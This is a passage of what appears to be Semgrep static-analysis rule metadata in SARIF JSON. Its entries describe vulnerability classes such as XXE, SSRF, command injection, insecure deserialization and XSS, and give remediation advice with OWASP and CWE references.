(XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe","id":"java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe","name":"java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `domain` not set. It indicates the domain of the cookie; use it to compare against the domain of the server in which the URL is being requested. If they match, then check the path attribute next."},"help":{"markdown":"Default session middleware settings: `domain` not set. It indicates the domain of the cookie; use it to compare against the domain of the server in which the URL is being requested. If they match, then check the path attribute next.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `domain` not set. It indicates the domain of the cookie; use it to compare against the domain of the server in which the URL is being requested. If they match, then check the path attribute next."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.openai.openai-empty-secret.openai-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.openai.openai-empty-secret.openai-empty-secret","id":"go.secrets.openai.openai-empty-secret.openai-empty-secret","name":"go.secrets.openai.openai-empty-secret.openai-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.openai.openai-empty-secret.openai-empty-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. Don't use `ParseUnverified` unless you know what you're doing This method parses the token but doesn't validate the signature. It's only ever useful in cases where you know the signature is valid (because it has been checked previously in the stack) and you want to extract values from it."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. Don't use `ParseUnverified` unless you know what you're doing This method parses the token but doesn't validate the signature. It's only ever useful in cases where you know the signature is valid (because it has been checked previously in the stack) and you want to extract values from it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. Don't use `ParseUnverified` unless you know what you're doing This method parses the token but doesn't validate the signature. It's only ever useful in cases where you know the signature is valid (because it has been checked previously in the stack) and you want to extract values from it."},"helpUri":"https://semgrep.dev/r/go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified","id":"go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified","name":"go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe","id":"kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe","name":"kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"help":{"markdown":"Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.run-shell-injection.run-shell-injection)\n - [https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n - [https://securitylab.github.com/research/github-actions-untrusted-input/](https://securitylab.github.com/research/github-actions-untrusted-input/)\n","text":"Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.run-shell-injection.run-shell-injection","id":"yaml.github-actions.security.run-shell-injection.run-shell-injection","name":"yaml.github-actions.security.run-shell-injection.run-shell-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.run-shell-injection.run-shell-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.ssrf.reqwest-taint.reqwest-taint)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/rust.actix.ssrf.reqwest-taint.reqwest-taint","id":"rust.actix.ssrf.reqwest-taint.reqwest-taint","name":"rust.actix.ssrf.reqwest-taint.reqwest-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.ssrf.reqwest-taint.reqwest-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django","id":"python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django","name":"python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `puppeteer` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `puppeteer` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-puppeteer-injection.express-puppeteer-injection)\n - [https://pptr.dev/api/puppeteer.page](https://pptr.dev/api/puppeteer.page)\n","text":"If unverified user data can reach the `puppeteer` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-puppeteer-injection.express-puppeteer-injection","id":"javascript.express.security.express-puppeteer-injection.express-puppeteer-injection","name":"javascript.express.security.express-puppeteer-injection.express-puppeteer-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-puppeteer-injection.express-puppeteer-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Use `Seq(...)` for dynamically generated commands."},"help":{"markdown":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Use `Seq(...)` for dynamically generated commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Use `Seq(...)` for dynamically generated commands."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run","id":"scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run","name":"scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string","id":"javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string","name":"javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-marshal.tainted-marshal)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-marshal.tainted-marshal","id":"python.lang.deserialization.tainted-marshal.tainted-marshal","name":"python.lang.deserialization.tainted-marshal.tainted-marshal","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-marshal.tainted-marshal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'printf' or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"help":{"markdown":"Detected 'printf' or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected 'printf' or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter","id":"go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter","name":"go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CodeBuild Project $X is set to have a public URL. This will make the build results, logs, artifacts publically accessible, including builds prior to the project being public. Ensure this is acceptable for the project."},"help":{"markdown":"CodeBuild Project $X is set to have a public URL. This will make the build results, logs, artifacts publically accessible, including builds prior to the project being public. Ensure this is acceptable for the project.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public)\n - [https://docs.aws.amazon.com/codebuild/latest/userguide/public-builds.html](https://docs.aws.amazon.com/codebuild/latest/userguide/public-builds.html)\n","text":"CodeBuild Project $X is set to have a public URL. This will make the build results, logs, artifacts publically accessible, including builds prior to the project being public. Ensure this is acceptable for the project."},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public","id":"typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public","name":"typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public","properties":{"precision":"very-high","tags":["CWE-306: Missing Authentication for Critical Function","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from volumes to prevent this."},"help":{"markdown":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from volumes to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume)\n - [https://docs.docker.com/compose/compose-file/compose-file-v3/#volume-configuration-reference](https://docs.docker.com/compose/compose-file/compose-file-v3/#volume-configuration-reference)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers)\n","text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from volumes to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume","id":"yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume","name":"yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in 